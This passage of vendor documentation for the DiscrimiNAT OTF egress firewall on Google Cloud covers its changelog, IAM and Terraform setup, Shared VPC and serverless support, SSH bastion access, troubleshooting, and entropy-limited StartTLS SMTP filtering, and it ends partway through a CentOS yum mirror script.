was not listening with TLS * and for example `timed out testing connection to 203.0.113.6:443` – port 443 on that IP address is not open (from DiscrimiNAT's public IP point of view) * minor update to [Terraform modules](https://registry.terraform.io/namespaces/ChaserSystems) increasing the health check initial delay from 120 seconds to 360 seconds ## version 2.6.0 (2023-07-11) * the TLS notation for allowlisting now supports IPv4 addresses besides FQDNs (i.e. without SNI), for example `discriminat:tls:203.0.113.9` * the _see-thru_ monitoring mode now accepts all specifications of IP addresses, Protocols & Ports on Firewall Rules. Previously, it had required IP addresses to be set to `0.0.0.0/0` and Ports & Protocols to be to set to _all_. * two new `-flow` log `reason` messages when a network packet is `disallowed` have been introduced: * `cache not ready`: this message is logged when a new address is added in the allowlist but the firewall has not yet warmed up its cache for it. Expected to occur for up to 2 minutes after adding a new address (FQDN or IP.) * `spoofing detected`: logged when TLS SNI has been manipulated and a connection is attempted to an IP address that doesn't otherwise belong to the given FQDN (in the SNI.) * enabled Finite Field Diffie–Hellman ciphers for TLS 1.2, for example DHE as opposed to ECDHE * enabled ciphers **without** Forward Secrecy for TLS 1.2 **Breaking Changes** * the `-config` log has its `fqdn` field name changed to `addr`. Field names have not changed in the `-flow` log. * in the `-config` log, association of a public IP for egress from the firewall had its category (`cat` field) set to `static-ip`. This is now set to `egress-ip`. ## version 2.5.3 (2023-05-22) * increased tolerance towards some rare TLS servers that otherwise resulted in DiscrimiNAT logging connection test failures and not allowing connections to them ## version 2.5.2 (2023-03-16) * change of base OS from Ubuntu 18.04 to Ubuntu 20.04 The CIS Ubuntu Linux 20.04 LTS Benchmark v1.1.0 Level 2 - Server report is available upon request by contacting support. The image scored 215/219. An explanation will be attached for the unmet 4. ## version 2.5.1 (2023-01-29) * External IPs can now be pinned to specific deployments. If the value of a DiscrimiNAT instance VM label `discriminat` matches the label-key & value of an External IP, that External IP will be preferred for self-attaching. Fallback behaviour remains to self-attaching any allocated but unassociated External IPs with the label-key `discriminat` set to any value. * Terraform module updated to support custom deployment IDs (see variable `custom_deployment_id`), to optionally override the randomly generated ones. This allows fine-grained control over naming and can also be used for matching allocated External IPs to a specific fleet of DiscrimiNAT instances. * replaced google-fluentd with ops-agent. Ops Agent requires the Monitoring Metric Writer predefined role to be added to the service account. See our [Service Account](/docs/discriminat/gcp/service-account/#ops-agent) page for more details. ## version 2.4.2 (2022-10-05) * added support for [Network Tags in Cloud Composer v2 GKE Clusters](/docs/discriminat/gcp/cloud-composer-v2-gke-clusters) * improved audit (config) logging for subnets * improved connection handling for very short lived TLS connections with specific server-side implementations (such as Envoy Proxy) ## version 2.4.1 (2022-05-05) * fixed an excessive retries issue with automatic config building where the service account's role allowed querying of Service Projects but the Host Project did not have shared VPC setup enabled * fixed a sporadic connection reset issue, that emitted `unexpected response` in the logs, and which only occurred in the `see-thru` monitoring mode while connecting to a destination at very high latency ## version 2.4.0 (2022-03-13) * new warning message in config logs when a connection test to an FQDN, carried out by discrimiNAT itself, in any allowlist fails * [serverless support introduced](/docs/discriminat/gcp/serverless-vpc-access-connectors); VPC connectors from Cloud Functions etc. will have their outbound traffic filtered * added support for [self-attaching an allocated External IP](/docs/discriminat/gcp/service-account#external-ips) * change of one of the default scopes, when the service account is not overridden,from `compute-ro` to `compute-rw`; this is to support self-assignment of labelled external IPs * discrimiNAT's own instance ID added to every log line under the key `instance`, indicating which instance the log line was emitted from * updated [TLS ECH draft extension](https://datatracker.ietf.org/doc/draft-ietf-tls-esni/) identifiers ## version 2.3.0 (2021-11-02) * added support for shared VPC; now Service Projects can use a discrimiNAT instance deployed in their Host Project ## version 2.2.0 (2021-08-31) * [see-thru mode](/docs/discriminat/gcp/config-ref#see-thru-mode) introduced; build allowlists super-quick by putting a Firewall Rule in monitor mode first * improved handling for a large number of FQDNs in the allowlists * full bypass hook added; please reach out to [support](/support) for instructions on this * updated [TLS ECH draft extension](https://datatracker.ietf.org/doc/draft-ietf-tls-esni/) identifiers ## version 2.0.5 (2021-05-03) * restricted firewall rule scanning to the same VPC as discrimiNAT firewall was deployed in ## version 2.0.4 (2021-04-03) * set compute image family to `discriminat` * updated [TLS ECH draft extension](https://datatracker.ietf.org/doc/draft-ietf-tls-esni/) identifiers ## version 2.0.3 (2020-11-05) * v2 launch * completely new architecture addressing the potential for mismatch of IPs addresses as looked up by a protected workload from the VPC resolver and as looked up by the discrimiNAT firewall * rewritten in Rust ## version 20200529 (2020-05-29) _available on request; v1 is now deprecated; please upgrade to v2_ ## version 20200524 (2020-05-24) _available on request; v1 is now deprecated; please upgrade to v2_ ## version 20200516 (2020-05-16) _available on request; v1 is now deprecated; please upgrade to v2_ ## version 20191207 (2019-12-07) _available on request; v1 is now deprecated; please upgrade to v2_ ## version 20191107 (2019-11-07) * v1 launch --- ## DiscrimiNAT OTF with Serverless VPC Access # Serverless VPC Access ## Concepts >Serverless VPC Access makes it possible for you to connect directly to your Virtual Private Cloud network from serverless environments such as Cloud Run, App Engine, or Cloud Functions. Source: https://docs.cloud.google.com/vpc/docs/serverless-vpc-access **From v2.4** onwards, the DiscrimiNAT supports filtering traffic egressing from Serverless VPC Access Connectors. ## Network tags The network tags on Firewall Rules that apply to Serverless VPC Access Connectors have preset names defined by Google Cloud Platform. >Serverless VPC Access network tags let you refer to VPC connectors in firewall rules and routes. > >Every Serverless VPC Access connector automatically receives two network tags (sometimes called instance tags): > * Universal network tag: `vpc-connector` Applies to all existing connectors and any connectors made in the future > * Unique network tag: `vpc-connector-REGION-CONNECTOR_NAME` Applies to the connector `CONNECTOR_NAME` in `REGION` > >These network tags cannot be deleted. New network tags cannot be added. Source: https://docs.cloud.google.com/vpc/docs/serverless-vpc-access#network-tags ### Examples 1. For a connector named `foo` in `europe-west2` region, the network tag applicable to just the traffic from this connector will be `vpc-connector-europe-west2-foo`. 2. The network tag applicable to all connectors, regardless of name or region, will be `vpc-connector`. ## Requirements ### Serverless The egress settings of the serverless platform need to be configured to send all traffic through a connector rather than just the traffic to internal addresses. This is accomplished during the setup of the serverless workload, and in the following ways. Choose Route all traffic through the VPC connector when selecting a connector. Reference: https://docs.cloud.google.com/run/docs/configuring/connecting-vpc#connectors Choose Route all traffic through the VPC connector under Egress settings. Reference: https://docs.cloud.google.com/run/docs/configuring/networking-best-practices#direct-vpc-throughput Set the egress_settings property to all-traffic. vpc_access_connector:{'\n'}   name: projects/PROJECT_ID/locations/REGION/connectors/CONNECTOR_NAME{'\n'}   egress_setting: all-traffic Reference: https://docs.cloud.google.com/appengine/docs/standard/connecting-vpc#egress ### Firewall Rules Firewall Rules from NAT Ranges and Health Check Ranges, as described at ¹, must be created for the VPC Connectors. Additionally, firewall rules to allow connections from serverless workloads to DiscrimiNAT instances would have to be created. If using Terraform, the variable `client_cidrs` accepts a list of IP ranges for this. The subnets allocated for VPC Connectors should be added to this list. ¹ https://docs.cloud.google.com/vpc/docs/configure-serverless-vpc-access#restrict-access ## Role The following permissions must be added to the Role meant to be granted to the service account for DiscrimiNAT instances, in order for it to be able to pick up the connector subnets: ```plaintext vpcaccess.connectors.list compute.subnetworks.get ``` :::tip If Serverless VPC Access Connectors are deployed in Service Projects of a Shared VPC , see the [Shared VPC setup](../shared-vpc/) page and grant permissions as discussed in the [Service Account](../service-account/) page. ::: --- ## DiscrimiNAT OTF Google Cloud Service Account # Service Account DiscrimiNAT OTF requires different permissions to work effectively across differing setups. The most basic of the setups is a single project with only VM instances to protect within the same project. The permissions for this are included with our Deployment Manager template and Terraform modules as allowed scopes on the DiscrimiNAT instances. For the rest, and if you'd rather manage the service account with discrete permissions, the following should come in handy. ## TL;DR For all features and topologies enabled, 1. Create an IAM service account, in a _host_ project, for use by DiscrimiNAT instances. 2. Create an organisation-level IAM Role with the following permissions. 3. Create a folder-level† (or organisation-level) IAM binding granting the above IAM Role to the Principal of the above service account. :::caution † The chosen folder should contain the _host_ project and all _service_ projects either directly or through subfolders. Bindings can also be created on multiple folders. ::: ``` logging.logEntries.create compute.firewalls.list compute.instances.list compute.addresses.list compute.addresses.use compute.subnetworks.useExternalIp compute.instances.addAccessConfig compute.projects.get vpcaccess.connectors.list compute.subnetworks.get container.clusters.list composer.environments.list run.jobs.list run.services.list run.workerpools.list roles/monitoring.metricWriter roles/secretmanager.secretAccessor° ``` :::tip `roles/monitoring.metricWriter` is the Google [predefined `Monitoring Metric Writer` role](https://gcp.permissions.cloud/predefinedroles/monitoring.metricWriter). It can be associated with the service account as a whole. ::: :::caution ° The _Secret Manager Secret Accessor_ Role can be conditionally bound to only the Secret(s) that access is required to with the CEL Expression `resource.name == "projects//secrets/DiscrimiNAT_/versions/latest"`. Also see Terraform examples below. ::: ## LOGGING The DiscrimiNAT automatically logs config & flow events to StackDriver. The following permission allows its instances to log at `logName="projects//logs/discriminat-config"` and `logName="projects//logs/discriminat-flow"`. ``` logging.logEntries.create ``` ## ALLOWLIST CONFIG To form a complete picture of the VM instances in the VPC and their associated Firewall Rules, the DiscrimiNAT needs read access to these resources. ``` compute.firewalls.list compute.instances.list ``` ## DEFAULT PREFERENCES Global level, behavioural [preferences](/docs/discriminat/gcp/default-prefs/) are stored in a Secret named DiscrimiNAT in Secret Manager. This is best permitted through a built-in Role and a Condition limiting the scope to only that named Secret. ``` roles/secretmanager.secretAccessor ``` Condition Expression: `projects//secrets/DiscrimiNAT_/versions/latest` This is worked out and the interpolation automated for Terraform in the [examples below](#terraform). ## SHARED VPC In addition to the above, to discover VM instances in service projects, the following permission is required. See the [Shared VPC](../shared-vpc/) page for more information. ``` compute.projects.get ``` ## SERVERLESS VPC ACCESS CONNECTORS In addition to the above, the following will be required to form a complete picture of any Serverless VPC Access Connectors. If permissions for Shared VPC are included, then any Serverless VPC Access Connectors defined in service projects will also be picked up. ``` vpcaccess.connectors.list compute.subnetworks.get ``` See the [Serverless VPC Access Connectors](../serverless-vpc-access-connectors/) page for more information. ## CLOUD COMPOSER v2 GKE CLUSTERS A Composer v2 environment's cluster is an Autopilot mode VPC-native Google Kubernetes Engine cluster. Network Tags to it, however, can be applied at the time of Composer environments creation. Add the following permissions to the service account's role to allow the DiscrimiNAT to apply corresponding Firewall Rules to the clusters' subnets. ``` container.clusters.list compute.subnetworks.get ``` ## CLOUD COMPOSER v3 ``` composer.environments.list ``` ## CLOUD RUN DIRECT VPC EGRESS ``` run.services.list ``` ## EXTERNAL IPs If a Public IP is not found attached to a DiscrimiNAT instance, it will look for any allocated but unassociated External IPs that have a label-key named `discriminat` – the value which should be set to the value of the variable `custom_deployment_id` of the [Terraform module](https://registry.terraform.io/namespaces/ChaserSystems), if that was set, else anything but blank. One of such External IPs will be attempted to be associated with itself then. :::tip This allows you to have a stable set of static IPs to share with your partners, who may wish to allowlist them. ::: **Private Google Access** enabled on the subnet DiscrimiNAT is deployed in is needed for this mechanism to work though – since making the association needs access to the Compute API. In the [google_network example](https://github.com/ChaserSystems/terraform-google-discriminat-ilb/blob/main/examples/google_network), this is demonstrated by setting `subnet_private_access = true`. ``` compute.addresses.list compute.addresses.use compute.subnetworks.useExternalIp compute.instances.addAccessConfig ``` ## OPS AGENT The DiscrimiNAT comes with Google's [Ops Agent](https://docs.cloud.google.com/stackdriver/docs/solutions/agents/ops-agent) pre-installed. Should you require detailed metrics on the operating system's performance and utilisation, such as memory and load average, the permissions granted by the Monitoring Metric Writer role would be required. ``` roles/monitoring.metricWriter ``` :::tip `roles/monitoring.metricWriter` is the Google [predefined `Monitoring Metric Writer` role](https://gcp.permissions.cloud/predefinedroles/monitoring.metricWriter). It can be associated with the service account as a whole. ::: ## TERRAFORM If using Terraform, a new variable from v2.3 onwards has been introduced to let the user override the service account used by DiscrimiNAT instances. This is the `custom_service_account_email` variable and if left unset, defaults to the default compute engine service account with limited scopes of `compute-rw`, `logging-write` and `monitoring-write`. If set to the Principal of any service account, assigns that service account to the instances and changes the scope to `cloud-platform`. ### Sample code to create a Service Account, the IAM Role and an IAM Binding for a simple, single Project only deployment ```terraform variable "project_id" { type = string description = "Project ID for the Service Account to reside in. Think about the actual Project in which DiscrimiNAT OTF will be deployed (where the VPC Network will be). You must have privileges to create a new Service Account in this Project." } variable "discriminat_deployment_id" { type = string description = "As output from DiscrimiNAT's Terraform modules for its deployment. This is the suffix to `DiscrimiNAT_` Secret (in Secret Manager) for building an IAM Conditional Access expression and scope down the access to one the Secret (`DiscrimiNAT_`) which stores Preferences for this deployment of DiscrimiNAT only." } data "google_project" "current" { project_id = var.project_id } resource "google_project_iam_custom_role" "discriminat" { role_id = "DiscrimiNAT" title = "DiscrimiNAT OTF Role" project = var.project_id description = "Permissions needed for DiscrimiNAT OTF to read metadata from VMs, Subnetworks, Firewall Rules, etc., write Logs & Metrics, and attach an External IP to itself. See upstream docs for full details: https://chasersystems.com/docs/discriminat/gcp/service-account/" permissions = ["logging.logEntries.create", "compute.firewalls.list", "compute.instances.list", "compute.addresses.list", "compute.addresses.use", "compute.subnetworks.useExternalIp", "compute.instances.addAccessConfig", "compute.projects.get", "vpcaccess.connectors.list", "compute.subnetworks.get", "container.clusters.list", "composer.environments.list", "run.services.list"] } resource "google_service_account" "discriminat" { account_id = "discriminat" project = var.project_id display_name = "DiscrimiNAT OTF Service Account" description = "For DiscrimiNAT OTF. See upstream docs for full details: https://chasersystems.com/docs/discriminat/gcp/service-account/" } resource "google_project_iam_member" "discriminat_custom_role" { project = var.project_id role = google_project_iam_custom_role.discriminat.id member = "serviceAccount:${google_service_account.discriminat.email}" } resource "google_project_iam_member" "discriminat_metric_writer" { project = var.project_id role = "roles/monitoring.metricWriter" member = "serviceAccount:${google_service_account.discriminat.email}" } resource "google_project_iam_member" "discriminat_prefs_access" { project = var.project_id role = "roles/secretmanager.secretAccessor" member = "serviceAccount:${google_service_account.discriminat.email}" condition { title = "specific_secret" description = "Restrict access to the specific Secret for DiscrimiNAT Preferences" expression = < Shared VPC allows an organization to connect resources from multiple projects to a common Virtual Private Cloud (VPC) network, so that they can communicate with each other securely and efficiently using internal IPs from that network. When you use Shared VPC, you designate a project as a **host project** and attach one or more other **service projects** to it. The VPC networks in the **host project** are called Shared VPC networks. Eligible resources from **service projects** can use subnets in the Shared VPC network. Source: https://docs.cloud.google.com/vpc/docs/shared-vpc **Shared VPCs** in Google Cloud Platform have emerged as a robust design pattern for scaling business units and their services in an enterprise setting. From v2.3 onwards, DiscrimiNAT OTF supports the Shared VPC topology. ## Requirements * An IAM service account, in the host project, must be created for use by DiscrimiNAT instances. * An organisation-level IAM Role must exist that allows getting information about firewall rules, associated service projects and compute instances within. Details in the **Role** section below. * A folder-level (or organisation-level) IAM binding granting that IAM Role to the Principal of the service account must exist. * DiscrimiNAT OTF must be deployed in the host project. * The service account for DiscrimiNAT instances must be explicitly set to the Principal of that service account. * The egress-filtered workload may be deployed in the host project and/or any attached service projects. * Firewall Rules to allow connections from the egress-filtered workloads' subnets to DiscrimiNAT instances would have to be created. If using Terraform, the variable `client_cidrs` accepts a list for this. ## Role :::caution IMPORTANT This Role must be created at the organisation-level. ::: The following permissions must be added to the Role meant to be granted to the service account for DiscrimiNAT instances, in order for it to be able to pick up the firewall rules, the associated projects and the compute instances within: ```plaintext logging.logEntries.create compute.firewalls.list compute.instances.list compute.projects.get ``` :::tip Also see the [Service Account](../service-account/) page for other permissions of interest. ::: ## Terraform If using Terraform, a new variable from v2.3 onwards has been introduced to let the user override the service account used by DiscrimiNAT instances. This is the `custom_service_account_email` variable and if left unset, defaults to the default compute engine service account with limited scopes of `compute-rw`, `logging-write` and `monitoring-write`. If set to the Principal of any service account, assigns that service account to the instances and changes the scope to `cloud-platform`. :::tip Firewall Rules to allow connections from the egress-filtered workloads to DiscrimiNAT instances would have to be created. If using Terraform, the variable `client_cidrs` accepts a list for this. DiscrimiNAT instances are deployed with a `discriminat-itself` network tag for ease in defining any other network rules. ::: ## FAQ #### Does DiscrimiNAT work without a custom service account? Yes. In a non-Shared VPC setting, it is able to work for private IP workloads in the same project as itself. In a Shared VPC setting, it will behave in a similar fashion and work for private IP workloads in the same project as itself. However, traffic arriving from other Projects will simply be rejected. #### Is there a setting in the DiscrimiNAT to be toggled for Shared VPC support? No. The DiscrimiNAT figures out the best possible setting looking at the service account, the permissions that come with it, and whether it is indeed in a host project with a Shared VPC. #### Where are the Firewall Rules defined in a Shared VPC setting? The Firewall Rules are defined at the VPC-level in a Shared VPC. With that constraint, they can only be defined in the host project. The Firewall Rules can be defined upfront to apply to only certain targets with Network Tags. These Network Tags can then be applied and used in the service projects on any compute workloads with only private IPs, and the DiscrimiNAT will figure out the FQDN egress rules to apply to each client as usual. --- ## SSH Bastion Access to DiscrimiNAT OTF on Google Cloud # SSH Access On some occasions you may want a [bastion host](https://en.wikipedia.org/wiki/Bastion_host) present in your VPC. For example: - accessing a DiscrimiNAT instance over SSH - accessing a host without a public IP _psst... should you ever need a great alternative to a [~~shoal~~ squad](https://www.change.org/p/scientific-community-call-a-group-of-squids-a-squad-instead-of-a-shoal) of Squid proxies for outbound filtering, consider [DiscrimiNAT](/discriminat) for a cloud-native solution_ ### Creating a Bastion Host ![GCP Create a Bastion Host VM](img/bastion-01.png) Let's create a new instance pretty much as usual, taking care that: - it's in the right region - it doesn't need too much grunt as it will only pass minimal traffic through We will need to add a small detail in the networking section, though. See the next image. ![GCP VM Network Tags to bypass DiscrimiNAT](img/bastion-02.png) Add the network tag `bypass-discriminat` to this instance. The presence of this network tag enables the traffic to and from this instance to have higher precedence than the control laid out by DiscrimiNAT, therefore _bypassing_ it. **This will allow you to directly connect to this instance, from your public IP to its public IP.** Your bastion host on GCP is now ready! ### Accessing a DiscrimiNAT instance through the Bastion The DiscrimiNAT image is hardened per _CIS Ubuntu Linux 24.04 LTS Benchmark Level 2 - Server_. Therefore, SSH access to it requires your posture to be sound and secure. Let's check with a few commands on your machine: 1. The SSH Agent should have only one identity loaded. This is to prevent it from trying one identity after another to the server, causing the server to block the user after too many failures. So it's safer to just have the one identity that will work. `ssh-add -L` If the output shows more than one line, you may clear all of them out with the command `ssh-add -D`. If the previous command still shows some lines, check the `.ssh` directory in your home directory for unexpected private key files. 2. To add a specific private key to the SSH Agent, run the command: `ssh-add /path/to/private-key` And then check with `ssh-add -L` whether only one line in the output is present. 3. Check the Compute Metadata -> SSH Keys in Google Cloud (GCP) console for the username of the key loaded above. ![GCP VM External and Internal IPs](img/bastion-03.png) 4. Finally, SSH into the DiscrimiNAT instance using the bastion host as _ProxyJump_. This is needed because DiscrimiNAT will only allow SSH connections from private IPs (i.e. within the VPC), so you cannot connect to it from a public IP. You will need the public IP address of the bastion, the private IP address of the target DiscrimiNAT instance, and this command: `ssh -J @ @` An example of a fully formed command from the example deployment in the screenshots is: `ssh -J don@34.122.172.195 don@10.128.0.22` If you manage to lock yourselves out of a DiscrimiNAT instance due to repeated authentication failures, either terminate the instance and let the managed instance group bring back a new one, or wait 15 minutes. ### Accessing a host without a public IP through the Bastion This could be much simpler if your target instances are not fussy about where you connect from and how many keys you present. However, since the targets do not have a public IP address at all in this case, you still need to use a bastion host, so there is connectivity to and from them. The commands are the same as above: 1. Verify the right keys are loaded in your SSH Agent: `ssh-add -L` 2. Connect using the bastion host as _ProxyJump_: `ssh -J @ @` --- ## DiscrimiNAT OTF Google Cloud Troubleshooting # Troubleshooting ### Video for End Users If you are an application developer, a service owner or an end-user of DiscrimiNAT tasked with getting new domain names working, this \<5m video is for you and covers the most common issue along with solutions. ### Search for _warning_ messages from DiscrimiNAT The firewall may have tried to warn you about an issue it can foresee. Use the following query in Logs Explorer (replacing _project name_ with one where DiscrimiNAT is deployed): ``` logName="projects//logs/discriminat-config" jsonPayload.outcome="warning" ``` You may find a descriptive clue in the resultant log lines from the last few minutes/hours. ### There are no `discriminat-config` logs at all. ![](img/no-discriminat-config-log.gif) #### Resolution 1. Check if the [service account](https://console.cloud.google.com/iam-admin/serviceaccounts) for DiscrimiNAT instances is enabled. It is the default Compute Engine account if DiscrimiNAT is deployed through the Marketplace directly. If deployed through Terraform, the default service account is the same unless overridden with the `custom_service_account_email` variable. 2. Check if the [Cloud Logging API](https://console.cloud.google.com/apis/api/logging.googleapis.com/metrics) is enabled. ### Clients' network traffic sometimes allowed, sometimes not. #### Resolution Please upgrade the machine type from `e2-small` to `n2-highcpu-2`. This is done via the `machine_type` Terraform variable. The `e2-small` machine type only suffices for light loads and a few clients. The `n2-highcpu-2` offers the best CPU to egress bandwidth and price ratios for the kind of work involved. Use of `n2-standard-*` machine types is not recommended because the DiscrimiNAT is not a memory-intensive application, therefore making machines with more memory than needed not a cost-optimal choice. ### There are no `discriminat-flow` logs from certain clients. Certain, or all, clients may not even be able to access the Internet in this case. Requests would be timing out instead of being quickly terminated with a reset. #### Resolution 1. Check if the subnet, where the affected clients are, is allowed for ingress in a [firewall rule](https://console.cloud.google.com/networking/firewalls/list) named "discriminat-\-from-clients". If deployed via our Terraform module, additional subnets can be added to this firewall rule through the `client_cidrs` variable. ### _see-thru_ mode not working If the `discriminat-config` logs do not show a log line picking up a _see-thru_ rule, you may have a problem with the annotation's implied syntax. #### Resolution The _see-thru_ mode requires a Firewall Rule (or the _see\_thru_ [default preference](/docs/discriminat/gcp/default-prefs/#see_thru)) to have a valid calendar date. For example, `discriminat:see-thru:2022-02-29` is NOT a valid date (because 2022 was not a leap year) but `discriminat:see-thru:2022-02-28` is. ### Service Projects' network traffic not going through If the `discriminat-config` logs do not show log lines picking up VM Instances' IPs or other managed services' subnets from the Service Projects, you may have a problem with how the service account was configured. #### Resolution For Service Projects to work through the DiscrimiNAT, ensure that: 1. DiscrimiNAT is running with a custom service account. This is overridden with the `custom_service_account_email` variable in Terraform. 1. The Role to be associated with that service account is defined at the Organisation level in your Google Cloud and NOT at the Project level. 1. The IAM binding of the service account to that Role should be defined at the Folder† level (or the Organisation level) and NOT at the Project level. † The chosen Folder should contain the Host project and all Service projects either directly or through subfolders. For more details on the service account and the Role required, please see the [Service Account](/docs/discriminat/gcp/service-account/) page. --- ## DiscrimiNAT OTF Google Cloud Video Tutorials # YouTube Playlist --- ## StartTLS SMTP Outbound Filtering with DiscrimiNAT OTF ## Implicit TLS as alternative StartTLS for SMTP is typically not required. Most email providers now support Implicit TLS on port 465.
Click here to learn more The Opportunistic TLS method, a.k.a. StartTLS, establishes a plaintext connection first which is then upgraded to TLS. This is wholly unnecessary and creates opportunities for MitM attacks and unencrypted transit of data due to misconfiguration or vulnerabilities. The following content makes the case for not using StartTLS: 1. https://blog.apnic.net/2021/11/18/vulnerabilities-show-why-starttls-should-be-avoided-if-possible/ 1. https://www.usenix.org/conference/usenixsecurity21/presentation/poddebniak 1. https://nostarttls.secvuln.info/ 1. https://www.feistyduck.com/newsletter/issue_80_vulnerabilities_show_fragility_of_starttls :::tip We can work with your development and engineering teams to upgrade connections from StartTLS to TLS for any application stack and SMTP library. Just raise a support ticket by sending an email to devsecops@chasersystems.com. ::: [RFC 8314, section 3](https://datatracker.ietf.org/doc/html/rfc8314#autoid-4) clarifies this further: >**Implicit TLS** > > Previous standards for the use of email protocols with TLS used the STARTTLS mechanism: [RFC2595], [RFC3207], and [RFC3501]. With STARTTLS, the client establishes a cleartext application session and determines whether to issue a STARTTLS command based on server capabilities and client configuration. If the client issues a STARTTLS command, a TLS handshake follows that can upgrade the connection. Although this mechanism has been deployed, an alternate mechanism where TLS is negotiated immediately at connection start on a separate port (referred to in this document as "Implicit TLS") has been deployed more successfully. To encourage more widespread use of TLS and to also encourage greater consistency regarding how TLS is used, this specification now recommends the use of Implicit TLS for POP, IMAP, SMTP Submission, and all other protocols used between an MUA and an MSP.
## Enabling StartTLS support You may still need StartTLS if that is the only protocol supported by the email service you are working with. Typical examples are Microsoft's High Volume Email service and server to server email delivery. If these are not your use cases, it is simpler and safer to go down the Implicit TLS route as discussed above. ### DiscrimiNAT's StartTLS mitigations DiscrimiNAT allows a very limited bypass of SMTP commands until the TCP connection is upgraded to TLS from plaintext. These include typical SMTP commands from a server and the typical ones from the client until the connection becomes encrypted. SMTP commands from a server pose some data transfer in risk but the consequences are largely mitigated by having much stricter outbound filtering. Only two SMTP commands from a client are supported: `EHLO some-host-name\r\n` `STARTTLS\r\n` The risk lies in the client-controlled argument to `EHLO` where large amounts of encoded data or sensitive key material could be sent to an attacker controlled server on the Internet. DiscrimiNAT mitigates this by enforcing a Shannon Entropy limit on that argument. [Shannon Entropy is a measure of the average amount of information contained in a message](https://jollycontrarian.com/index.php/Shannon_entropy). It can range from 0 to 8, where the higher the number the more 'information' it can pack by the way of encoding. `EHLO` messages sent by a client exceeding the limit you set will be disallowed by DiscrimiNAT. :::tip You can calculate the Shannon Entropy of any text input using [GCHQ's CyberChef Entropy tool set to the Shannon scale](https://gchq.github.io/CyberChef/#recipe=Entropy('Shannon%20scale')). ::: ### Turning it on #### Step 1 You can turn on SMTP commands bypass for StartTLS SMTP by setting the `starttls.smtp` default preference `posture` to `open`. Additionally, you can allow all arguments, no matter how long or complex, to `EHLO` by setting the `starttls.smtp` default preference `ehlo_entropy_limit` to `8`. This is accomplished by including the following JSON in the default preferences: ``` "starttls": { "smtp": { "posture": "open", "ehlo_entropy_limit": 8 } } ``` The full reference for this default preference is [here](/docs/discriminat/aws/default-prefs/#starttlssmtp). #### Step 2 Create an outbound firewall rule to allow TCP port 587 connections to any destination IP address for the workloads you are expecting StartTLS SMTP to originate from. :::info StartTLS SMTP is only supported for TCP ports 25 and 587 by DiscrimiNAT. Port 25 is typically blocked for outbound by cloud service providers. You may need to raise a support ticket with them to get it opened up if you require it. ::: #### Step 3 Run your StartTLS SMTP workloads. This will generate flow log lines such as the following. Note the `reason`, `entropy` and `dump` fields. The `entropy` field contains the calculated Shannon Entropy of the argument to `EHLO` which itself is emitted in the `dump` field. ``` { "dhost": "203.0.113.1", "cat": "client", "outcome": "allowed", "src": "172.16.0.1", "spt": 54321, "proto": "starttls", "proto_v": "smtp", "dst": "203.0.113.1", "dpt": 587, "reason": "ehlo entropy within configured limit `8`", "dump": "foo", "entropy": 0.92, "timestamp": "2026-06-30T09:30:30.300000000Z", "instance": "i-1111111111" } ``` ### Optional: see-thru mode for FQDN discovery If the StartTLS FQDNs are not already allowed, the subsequent TLS handshake after the initial StartTLS commands will be disallowed by DiscrimiNAT. The usual see-thru monitoring approach can be employed here to capture the traffic for a while and extract FQDNs from it. From v2.50 of DiscrimiNAT, the see-thru mode can be enabled on a per-port or port-range basis, too. This allows you to enable see-thru in an existing, secured egress filtering posture on just selected ports – for example TCP 587 for StartTLS SMTP.
Click here to see an AWS example ![](./img/eg_aws_monitor.png) After a period of collecting this data, you can extract the FQDNs from it using our [building an allowlist from scratch recipe](/docs/discriminat/aws/logs-ref/#recipes) and create regular TLS rules for the requisite port (see below.)
Click here to see a GCP example ![](./img/eg_gcp_monitor.png) After a period of collecting this data, you can extract the FQDNs from it using our [building an allowlist from scratch recipe](/docs/discriminat/gcp/logs-ref/#recipes) and create regular TLS rules for the requisite port (see below.)
### Creating TLS FQDN rules After the successful exchange of a few SMTP commands leading to StartTLS, the connection is just like any other TLS connection. Therefore, the usual rules and practices of handling TLS outbound rules apply. The only difference will be the port - which is expected to be set to 587.
Click here to see an AWS example ![](./img/eg_aws.png) :::caution StartTLS commands will be allowed to all allowed destination IP addresses in this Security Group Rule, albeit restricted by entropy limit set earlier. :::
Click here to see a GCP example ![](./img/eg_gcp.png) :::caution StartTLS commands will be allowed to all allowed destination IP addresses in this Firewall Rule, albeit restricted by entropy limit set earlier. :::
### Tuning the maximum permissible entropy value It is critical to tune down the `ehlo_entropy_limit` to set a safe upper limit on the richness of the argument to `EHLO` per your environment. We can obtain the safe number for your deployment by querying the logs, since the `entropy` field has been recording the precise values for each `EHLO` argument that was allowed through. #### on AWS 1. Navigate to CloudWatch -> Logs -> Log Analytics. 1. Select a suitable time range. 1. Select the DiscrimiNAT log group. 1. Paste the following query in: `fields entropy, dump | filter ispresent(entropy) | sort entropy desc | limit 50` This will provide a table of top 50 entries with the highest entropy values. If everything looks alright under the _dump_ column and not like data exfiltration, pick the highest number and maybe add a little bit of headroom. Otherwise, pick a number where the arguments to `EHLO` look legitimate for your environment and let everything above that number be disallowed. #### on GCP 1. Navigate to Logging -> Observability Analytics. 1. Select `< > SQL` mode. 1. Paste the following query in substituting `` with your GCP Project ID and press the Run Query button: ``` WITH scope_query AS ( SELECT * FROM `._Default._Default` ) SELECT CAST( JSON_VALUE( json_payload.entropy ) AS FLOAT64 ) AS entropy, JSON_VALUE( json_payload.dump ) AS dump FROM scope_query WHERE log_name LIKE '%/discriminat-flow' AND CAST( JSON_VALUE( json_payload.entropy ) AS FLOAT64 ) IS NOT NULL ORDER BY CAST( JSON_VALUE( json_payload.entropy ) AS FLOAT64 ) DESC LIMIT 50 ``` This will provide a table of top 50 entries with the highest entropy values. If everything looks alright under the _dump_ column and not like data exfiltration, pick the highest number and maybe add a little bit of headroom. Otherwise, pick a number where the arguments to `EHLO` look legitimate for your environment and let everything above that number be disallowed. ### Limitations At this time, the `dhost` field in the flow log line generated by a client issuing StartTLS commands does not contain the FQDN of the destination host but its IP address. --- ## CentOS 7 yum HTTPS upgrade This guide aims to help in pinning down the repository location to a known FQDN, so it can be set in the allowlists, without affecting the performance of downloads. ## Virtual Machine ### AWS User Data ```bash #!/bin/bash -ex sed --in-place=.orig --regexp-extended 's%#baseurl=http://mirror.centos.org/centos/%baseurl=https://mirrors.edge.kernel.org/centos/%g' /etc/yum.repos.d/CentOS-*.repo sed --in-place --regexp-extended 's%^mirrorlist=%#mirrorlist=%g' /etc/yum.repos.d/CentOS-*.repo ``` The commands simply replace CentOS's default mirror redirector with a known, reliable CDN, making a backup file (with extension _.orig_) in the process. ### GCP Startup Script ```bash #!/bin/bash -ex # centos sed --in-place=.orig --regexp-extended 